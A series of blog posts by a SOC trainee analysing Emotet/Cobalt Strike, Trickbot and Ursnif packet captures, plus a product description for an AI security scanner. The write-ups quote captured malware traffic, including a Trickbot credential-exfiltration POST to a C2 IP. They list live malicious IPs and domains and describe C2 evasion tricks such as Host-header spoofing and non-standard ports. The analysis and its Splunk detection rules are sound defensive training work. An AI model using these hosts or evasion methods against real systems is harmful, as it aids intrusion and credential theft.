DEV Community: Himanshu Kumar Modi

Emotet + Cobalt Strike — Dissecting a Multi-Stage Attack in Wireshark

Himanshu Kumar Modi — Fri, 03 Apr 2026 18:56:19 +0000

The TryHackMe Carnage room presents one of the most realistic attack scenarios available for free — a complete Emotet infection chain followed by Cobalt Strike post-exploitation and a malspam campaign generating 1,439 SMTP packets.

This write-up focuses on three techniques that make the biggest practical difference in real SOC investigations.

Dataset: TryHackMe Carnage room — controlled training environment.

Attack Chain Overview

Zip email → XLS macro → payload from 3 domains
      ↓
Cobalt Strike C2 (Host header spoofed as Verisign)
      ↓
Post-infection C2 → maldivehost.net
      ↓
IP recon → api.ipify.org (17:00:04 UTC)
      ↓
Malspam → 1,439 SMTP packets

Technique 1 — Hex Inspection for Zip Contents

Filter: HTTP response for documents.zip → View → Packet Bytes

Zip central directories are stored at the end of the archive. Checking the hex from the bottom found chart-1530076591.xls immediately — without downloading or executing anything.

The 10-digit epoch timestamp filename is a known Emotet naming pattern. Recognizing this from hex alone is a core analyst skill.

Answer: chart-1530076591.xls

Technique 2 — Time-Bounded TLS SNI Hunting

tls.handshake.type == 1 returned 181 Client Hello packets. Too many to check manually.

Solution: Use the infection timestamp as a filter boundary.

First malicious HTTP: 16:44:38 UTC → narrow TLS filter to 16:45:11–16:45:30 UTC

181 packets → 5 packets. Each SNI checked on VirusTotal:

finejewels.com.au → malicious
thietbiagt.com → malicious
new.americold.com → malicious

The SNI field in TLS Client Hello is plaintext — you see the destination domain without decrypting anything. Time-bounding with the infection timestamp is what makes this technique practical.

MITRE: T1573.001

Technique 3 — Cobalt Strike Host Header Masquerading

Filter: ip.dst == 185.106.96.158 && http

Host: oscp.verisign.com
Actual destination: 185.106.96.158 (Cobalt Strike C2)

The Host header claimed Verisign. The actual IP had nothing to do with Verisign.

Cobalt Strike's malleable C2 profiles allow operators to set any HTTP header to any value — attackers routinely spoof trusted domains (verisign.com, microsoft.com, windowsupdate.com) to blend with enterprise traffic.

Detection: Cross-reference Host domain with actual destination IP. Mismatch where Host is a trusted domain but IP is external and flagged = confirmed masquerading.

MITRE: T1036

Technique 4 — SMTP Forensics

frame contains "MAIL FROM"

Lesson: smtp contains "FROM" returned wrong results. Always search for the complete field name.

1,439 SMTP packets from an internal host = machine enrolled in Emotet malspam botnet. The infected machine was sending phishing emails on the attacker's behalf.

MITRE: T1071.003

Cobalt Strike Identification — Full Workflow

Filter http.request.method == "GET" → Statistics → Conversations → TCP → sort by frequency
Note top recurring external IPs
Check each on VirusTotal → Community tab (not just detection — community notes confirm Cobalt Strike)
Cross-reference Host header with actual destination IP for masquerading

C2 servers: 185.106.96.158 (survmeter.live), 185.125.204.174 (securitybusinpuff.com)

IOC Table

Type	Value	Role
Domain	attirenepal.com	Initial zip
File	documents.zip → chart-1530076591.xls	Macro payload
Domain	finejewels.com.au	Secondary payload
Domain	thietbiagt.com	Secondary payload
Domain	new.americold.com	Secondary payload
IP	185.106.96.158	Cobalt Strike C2
IP	185.125.204.174	Cobalt Strike C2
Domain	maldivehost.net	Post-infection C2
Email	farshin@mailfa.com	Malspam sender

MITRE ATT&CK

ID	Technique
T1566.001	Phishing: Spearphishing Attachment
T1059.005	VBA Macro
T1105	Ingress Tool Transfer
T1071.001	Web Protocols
T1573.001	Encrypted Channel
T1036	Masquerading
T1016	System Network Config Discovery
T1583	Acquire Infrastructure
T1071.003	Mail Protocols

Detection Rules (Splunk SPL)

Rule 1 — Cobalt Strike Host Header Masquerading

index=network http.request.method=GET
| where http.host LIKE "%.verisign.com"
    OR http.host LIKE "%.microsoft.com"
    OR http.host LIKE "%.windowsupdate.com"
| eval dest_internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where dest_internal=0
| stats count by src_ip, dest_ip, http.host

Rule 2 — TLS to Suspicious TLD

index=network ssl.handshake.type=1
| eval tld=mvindex(split(ssl.handshake.extensions_server_name,"."), -1)
| where tld IN ("live","xyz","top","pw","online","site","club","icu")
| stats count by src_ip, ssl.handshake.extensions_server_name
| sort -count

Rule 3 — Internal Malspam Detection

index=network sourcetype=stream:smtp
| stats count as smtp_count by src_ip
| where smtp_count > 50
| join src_ip [search index=network http.request.method=POST
    | stats count by src_ip]
| table src_ip, smtp_count, count

Three Key Takeaways

Time-bound your TLS filters. The infection timestamp reduces 181 packets to 5. Always know your starting timestamp before filtering TLS.

Cobalt Strike hides in the Host header. Cross-referencing the Host domain with the actual destination IP catches it every time — no threat intel feed required.

1,439 SMTP packets means you're already losing. The machine is sending phishing on behalf of the attacker. Detecting this early is why malspam volume thresholds matter in SIEM rules.

Full Report on GitHub

👉 github.com/himanshumodi3108/cybersec-portfolio

TryHackMe Carnage room — controlled training environment.

Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training
LinkedIn · Cybersecurity Portfolio

Catching Trickbot in the Act — Live Credential Theft via HTTP POST

Himanshu Kumar Modi — Mon, 23 Mar 2026 16:50:11 +0000

Most malware investigations involve reconstructing what might have happened. This one was different.

By following a single HTTP stream in Wireshark, I read stolen credentials in plaintext — Google, Facebook, and Yahoo passwords transmitted to an attacker's server in real time. The entire exfiltration completed in 96 seconds.

Dataset: controlled training exercise from malware-traffic-analysis.net — used widely in the security community for analyst education.

Tools Used

Wireshark 4.x — packet analysis, HTTP stream following
VirusTotal — IP and domain reputation
MITRE ATT&CK Navigator — TTP mapping
Splunk SPL — detection rule development

Step 1 — Identifying the Victim

Filter: dhcp

Field	Value
Hostname	DESKTOP-CANDLES
IP	10.11.9.102
MAC	00:08:02:1c:47:ae
OS	Windows 10 build 19042
Total packets	2,502 — highest in capture

Step 2 — Traffic Overview

Statistics → Conversations → TCP

IP	Packets	Port	Red Flag
167.86.123.83	1,484	447	Non-standard port
66.85.183.5	462	443	Bare IP, no domain
51.81.112.135	—	443	HTTP (not TLS) on port 443

Step 3 — IP Reconnaissance (Packet 21)

GET / HTTP/1.1
Host: icanhazip.com

No user action triggers an IP-check service — only malware does this post-infection. Trickbot uses it to confirm internet connectivity and rule out sandboxes.

MITRE: T1016

Step 4 — C2 on Non-Standard Port 447

Filter: tcp.dstport == 447

Many firewalls only inspect port 443 for HTTPS. Port 447 bypasses those rules while still appearing encrypted.

MITRE: T1571

Step 5 — The Impossible User-Agent

Filter: http.user_agent

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0...)

IE7 on Windows 10 is technically impossible. IE7 was released in 2006 and was never made for Windows 10. This is a zero-false-positive detection signature — any log with MSIE 7.0 + Windows NT 10.0 is confirmed malware.

MITRE: T1036

Step 6 — The Credential Exfiltration

Filter: http.request.method == "POST"

At Packet 1592, 21:33:44 UTC:

POST /tar2/DESKTOP-CANDLES_W10019042.1C550D7482EBE49086FC1A7D2100C9E5/81/
Host: 51.81.112.135:443
Content-Length: 627

Right-click → Follow → HTTP Stream:

name="data"
[service URL]|[username]|[password]    ← Google account 1
[service URL]|[username]|[password]    ← Google account 2
[service URL]|[username]|[password]    ← Google account 3
[service URL]|[username]|[password]    ← Facebook account

name="source"
chrome passwords

Server: HTTP 200 OK — all data received.

Why HTTP on port 443?

Trickbot uses port 443 for plain HTTP (not TLS). Port 443 is trusted by monitoring tools as "HTTPS = safe." The POST body travels completely unencrypted while the port number hides it in plain sight.

MITRE: T1041 T1555.003

Step 7 — Decoding the Bot ID

/tar2/DESKTOP-CANDLES_W10019042.1C550D7482EBE49086FC1A7D2100C9E5/81/
       │              │           │                                 │
       Hostname       OS Build    Hardware fingerprint              Module
                                                              81=passwords
                                                              83=form data
                                                              90=other data

This ID is unique per machine, persistent across reboots, and a high-confidence search term across all log sources.

Step 8 — Full Exfiltration Timeline

Packet	Time (UTC)	Event	Bytes
#21	21:30:01	GET icanhazip.com	minimal
#1592	21:33:44	POST module 81 — passwords	627
#1599	21:33:44	HTTP 200 OK ✓	—
#1727	21:34:10	POST module 90	120
#1753	21:34:15	POST module 83 — form data	612
#2109	21:34:47	POST module 81 — repeat	346
#2138	21:35:20	POST module 83 — repeat	637
#2141	21:35:20	HTTP 200 OK ✓ final	—

Total: 2,342 bytes · 5 POSTs · 5 × HTTP 200 OK · 96.3 seconds

IOC Table

Type	Value	Role
IP	66.85.183.5	Primary C2
IP	167.86.123.83	Secondary C2 — port 447
IP	51.81.112.135	Exfiltration server
IP	156.96.128.237	Secondary exfiltration
URI	/tar2/[BOTID]/[MODULE]/	Trickbot signature
Port	447 outbound	C2 evasion
User-Agent	MSIE 7.0 + Windows NT 10.0	Zero-FP malware signature

MITRE ATT&CK Map

ID	Technique
T1566	Phishing
T1071.001	Application Layer Protocol: Web Protocols
T1573.001	Encrypted Channel
T1041	Exfiltration Over C2 Channel
T1555.003	Credentials from Web Browsers
T1082	System Information Discovery
T1016	System Network Configuration Discovery
T1571	Non-Standard Port
T1036	Masquerading

Detection Rules (Splunk SPL)

Rule 1 — Trickbot URI pattern

index=network http.request.method=POST http.uri="/tar2/*"
| rex field=http.uri "/tar2/(?<bot_id>[^/]+)/(?<module_id>\d+)/"
| stats count by src_ip, dest_ip, bot_id, module_id

Rule 2 — Non-standard port outbound

index=network dest_port=447 OR dest_port=449 OR dest_port=8082
| stats count by src_ip, dest_ip, dest_port
| where count > 10
| sort -count

Rule 3 — Impossible User-Agent (zero false positives)

index=network http.user_agent="*MSIE 7.0*" http.user_agent="*Windows NT 10.0*"
| stats count by src_ip, dest_ip, http.user_agent

Rule 4 — Internal host calling IP-check service

index=network http.request.method=GET
  (http.host="icanhazip.com" OR http.host="api.ipify.org"
   OR http.host="checkip.amazonaws.com")
| stats count by src_ip, http.host
| where count > 2

Rule 5 — Large credential POST to external IP

index=network http.request.method=POST
| eval dest_internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where dest_internal=0
| eval body_size=coalesce(http.content_length,0)
| where body_size > 200
| stats count, max(body_size) as max_body by src_ip, dest_ip, http.uri
| sort -max_body

Four Key Takeaways

Port 443 ≠ HTTPS. Always verify the actual protocol, not just the port. Deploy TLS inspection at your proxy.

96 seconds is not enough time for manual triage. Automated detection rules are the only viable defense against this speed.

The bot ID is your best forensic artifact. One string search across all logs = complete picture of the infection.

The impossible User-Agent is a gift. Zero false positives. Write the alert. Fire on any match, no exceptions.

Full Report on GitHub

👉 github.com/himanshumodi3108/cybersec-portfolio

This analysis was performed on a controlled training dataset from malware-traffic-analysis.net for educational purposes.

Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training
LinkedIn · Cybersecurity Portfolio

Ursnif Malware — Reconstructing a 6-Stage Infection Chain from a PCAP

Himanshu Kumar Modi — Mon, 23 Mar 2026 16:28:04 +0000

date: 2026-03-20
description: A walkthrough of my first real malware PCAP investigation — how Ursnif used .avi file extensions to disguise DLL payloads, TLS C2 beaconing, and how I mapped the full attack to MITRE ATT&CK with Splunk detection rules.

One of the most powerful skills a SOC analyst can develop is the ability to look at a packet capture and reconstruct exactly what an attacker did — step by step, packet by packet.

This write-up walks through my first real PCAP investigation using a controlled Ursnif/Gozi banking trojan dataset from malware-traffic-analysis.net — a site widely used in the security community for analyst training.

Result: 6-stage infection chain reconstructed · 10 IOCs extracted · 5 Splunk detection rules written — from 2,180 packets.

What is Ursnif?

Ursnif (also known as Gozi or ISFB) is one of the oldest banking trojans documented in the wild. Key characteristics:

Delivered via malicious Office document macros
Multi-stage payload delivery using disguised file extensions
Encrypted C2 communication over TLS
Modular credential theft and web injection

Tools Used

Wireshark 4.x — packet analysis
VirusTotal — hash and domain reputation
MITRE ATT&CK Navigator — TTP mapping
Splunk SPL — detection rule development

Step 1 — Getting Bearings

Before any filters, I start with Statistics.

Statistics → Conversations → TCP

External IP	Packets	Role (discovered later)
46.102.153.16	906	Payload server
68.168.123.78	18	C2 server
217.138.205.170	8	Initial C2

Statistics → Protocol Hierarchy:

TCP: 97.9%
TLS: 8.2% — encrypted C2 and payload retrieval

Step 2 — Identifying the Victim

Filter: dhcp

Field	Value
IP Address	10.2.24.101
MAC Address	00:08:02:1c:47:ae

Step 3 — The Full Infection Chain

Stage 1 — Initial Compromise

Consistent with Ursnif's delivery: malicious Excel file with embedded VBA macro. Not captured in PCAP.

MITRE: T1566.001 T1059.005

Stage 2 — First TLS Contact (Packet 10)

Filter: ssl.handshake.type==1

Source:      10.2.24.101
Destination: 217.138.205.170
SNI:         fatturapagamentodi.pw

The SNI field in a TLS Client Hello is plaintext — even without decrypting traffic, we can see exactly which domain the malware contacted.

MITRE: T1071.003 T1573.001

Stage 3 — Payload Download (Packets 218–1116)

Filter: http.request.method == "GET"

906 packets to 46.102.153.16. Files had .avi extensions — but were Ursnif DLL segments reassembled in memory. The .avi extension bypasses firewalls that block .exe and .dll downloads.

MITRE: T1105 T1027

Stage 4 — Secondary Payload (Packets 1299, 1563)

GET /grabb32.rar  →  37.10.71.149
GET /grabb64.rar  →  37.10.71.149

Both 32-bit and 64-bit binaries from a separate server.

Stage 5 — C2 Beaconing (Packets 1215–2167)

Filter: ssl.handshake.type==1

Destination: 68.168.123.78
SNI:         asistenzaonline.xyz
Interval:    ~5–10 minutes

Human browsing is random and bursty. Malware is a clock. The consistent interval between TLS handshakes is machine behavior — your detection signal.

MITRE: T1071.001 T1573.001

Stage 6 — Persistence (Inferred)

Registry injection under HKCU\Software\[random key].

MITRE: T1547.001

Indicators of Compromise

Type	Value	Role
IP	217.138.205.170	Initial C2
IP	46.102.153.16	Payload server
IP	37.10.71.149	Secondary payload
IP	68.168.123.78	Primary C2
Domain	fatturapagamentodi.pw	Stage 2 C2
Domain	asistenzaonline.xyz	Persistent C2
Domain	pizdelko.xyz	Fallback C2
URL	http://46.102.153.16/*.avi	DLL delivery
File	grabb32.rar	32-bit binary
File	grabb64.rar	64-bit binary

MITRE ATT&CK Map

ID	Technique
T1566.001	Phishing: Spearphishing Attachment
T1059.005	Command and Scripting Interpreter: VBA
T1105	Ingress Tool Transfer
T1071.001	Application Layer Protocol: Web Protocols
T1071.003	Application Layer Protocol: Mail Protocols
T1547.001	Boot/Logon Autostart: Registry Run Keys
T1027	Obfuscated Files or Information
T1573.001	Encrypted Channel: Symmetric Cryptography

Detection Rules (Splunk SPL)

Rule 1 — TLS to suspicious SNI

index=network ssl.handshake.type=1
| stats count by src_ip, ssl.handshake.extensions_server_name
| where NOT ssl.handshake.extensions_server_name LIKE "%.google.com"
  AND NOT ssl.handshake.extensions_server_name LIKE "%.microsoft.com"
  AND NOT ssl.handshake.extensions_server_name LIKE "%.cloudflare.com"
| sort -count

Rule 2 — C2 beaconing via TLS regularity

index=network ssl.handshake.type=1
| bucket _time span=10m
| stats count by src_ip, dest_ip, _time
| streamstats window=6 current=t stdev(count) as regularity by src_ip, dest_ip
| where regularity < 1.5

Rule 3 — Media file extension from non-CDN IP

index=network http.request.method=GET
| rex field=uri "(?<ext>\.[a-z0-9]{2,4})$"
| where ext IN (".avi",".mp4",".mp3")
| eval dest_is_cdn=if(match(dest_ip,"^(151\.101|104\.16|172\.67)"),1,0)
| where dest_is_cdn=0
| stats count by src_ip, dest_ip, uri, ext
| where count > 3

Rule 4 — Chunked download from single external IP

index=network http.request.method=GET
| stats dc(uri) as unique_files, count as total_requests by src_ip, dest_ip
| where unique_files > 3
| eval internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where internal=0
| sort -total_requests

Rule 5 — Suspicious archive by name pattern

index=network http.request.method=GET
  (uri="*.rar" OR uri="*.zip")
| where NOT dest_ip LIKE "192.168.%" AND NOT dest_ip LIKE "10.%"
| eval suspicious=if(match(uri,"(grabb|drop|stage|payload|inject)"),1,0)
| where suspicious=1
| stats count by src_ip, dest_ip, uri

Three Key Lessons

1. The .avi trick works because defenders trust file extensions. Fix: inspect file content, not just extension.

2. Beaconing regularity is your strongest behavioral detection signal. Low standard deviation in connection intervals = machine, not human.

3. Multi-stage infrastructure creates more IOCs, not fewer. Four servers = four things to block and hunt for.

Immediate Response Actions

Isolate 10.2.24.101
Block all 4 attacker IPs
Sinkhole 3 C2 domains at DNS
Hunt for .avi GETs from non-CDN IPs in 30 days of proxy logs
Deploy rules 1–5 to SIEM

Full Report on GitHub

👉 github.com/himanshumodi3108/cybersec-portfolio

This analysis was performed on a controlled training dataset from malware-traffic-analysis.net for educational purposes.

Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training
LinkedIn · Cybersecurity Portfolio

IntelliShieldX: Redefining Application Security with AI-Powered Intelligence

Himanshu Kumar Modi — Sun, 14 Dec 2025 18:06:22 +0000

Introduction

Modern software systems are becoming increasingly complex. With microservices, APIs, cloud-native deployments, and rapid CI/CD cycles, security vulnerabilities are no longer rare — they are inevitable.

Traditional security tools often produce noisy results, require manual intervention, and fail to provide clear remediation guidance. Developers need actionable insights, not just vulnerability lists.

This is where IntelliShieldX comes in.

What Is IntelliShieldX?

IntelliShieldX is a hybrid AI-powered security platform that scans files, URLs, repositories, and complete codebases to detect vulnerabilities using:

Static security analysis
Threat intelligence databases
LLM-based contextual reasoning

Unlike traditional scanners, IntelliShieldX doesn’t stop at detection. It explains issues, prioritizes risk, and helps fix vulnerabilities automatically.

Why Traditional Security Tools Fall Short

Most security tools today struggle with:

❌ High false-positive rates
❌ Poor context awareness
❌ Limited remediation guidance
❌ Complex configuration and setup
❌ Separate tools for scanning, fixing, and reporting

As a result, security often becomes a bottleneck instead of an enabler.

How IntelliShieldX Works

IntelliShieldX uses a three-layer intelligent security architecture.

1️⃣ Static Analysis Engine

The platform analyzes source code, dependencies, and configurations to identify issues such as:

SQL Injection
Cross-Site Scripting (XSS)
Insecure deserialization
Hardcoded secrets
Misconfigured security headers
Unsafe API usage

2️⃣ Threat Intelligence Integration

Security findings are enriched using real-world threat data, including:

Known CVEs and vulnerability databases
Malicious IP and URL feeds
Malware and phishing indicators

This helps distinguish theoretical risks from actively exploited vulnerabilities.

3️⃣ AI-Powered Reasoning Layer

Using Large Language Models (LLMs), IntelliShieldX:

Understands application context
Explains why a vulnerability exists
Assesses real-world impact
Generates secure, production-ready code fixes

AI-Powered Auto-Remediation

One of IntelliShieldX’s core strengths is auto-remediation.

For each vulnerability, the platform can:

Generate secure alternative code
Recommend best practices
Suggest configuration hardening
Provide step-by-step remediation guidance

This significantly reduces the time between detection and resolution.

Real-Time AI Chat Assistant

IntelliShieldX includes a built-in AI security chat assistant that allows developers to:

Ask questions about vulnerabilities
Understand scan results in detail
Request secure code examples
Learn about attack techniques
Explore mitigation strategies interactively

The chat supports multiple AI models, enabling users to select models based on performance, cost, and security depth.

Model Selection & Subscription-Based Access

Different workloads require different AI capabilities.

IntelliShieldX categorizes AI models into:

Basic models – fast and cost-efficient
Advanced models – deeper reasoning and accuracy
Enterprise models – security-focused, high-context analysis

Model access is controlled via subscription tiers, ensuring scalability, fairness, and predictable costs.

Reporting, Verification & Automation

Every scan produces professional, verifiable outputs, including:

📄 Downloadable PDF reports
📊 Severity charts and visual insights

These reports are suitable for developers, security teams, and auditors alike.

Who Is IntelliShieldX For?

IntelliShieldX is designed for:

👩‍💻 Developers seeking fast security feedback
🛡️ Security engineers managing application risk
🚀 DevSecOps teams integrating security into pipelines
🏢 Startups and enterprises securing growing codebases
📚 Developers learning secure coding practices

Final Thoughts

Application security should not slow development down.

By combining automation, AI reasoning, and actionable remediation, IntelliShieldX helps teams ship software that is not only faster — but safer.

Security becomes a continuous, integrated part of development rather than an afterthought.

ScreenShot

Landing Page

Dashboard

AI Chat Page

Scan Page

🔗 Links & Resources

🌐 Website: https://intelli-shield-x-ai.vercel.app/
🧠 GitHub Repository: https://github.com/himanshumodi3108/IntelliShieldX-AI

Thanks for reading!

If you’re interested in AI-driven application security, DevSecOps tooling, or contributing to open-source security platforms, feel free to explore the project or share your thoughts.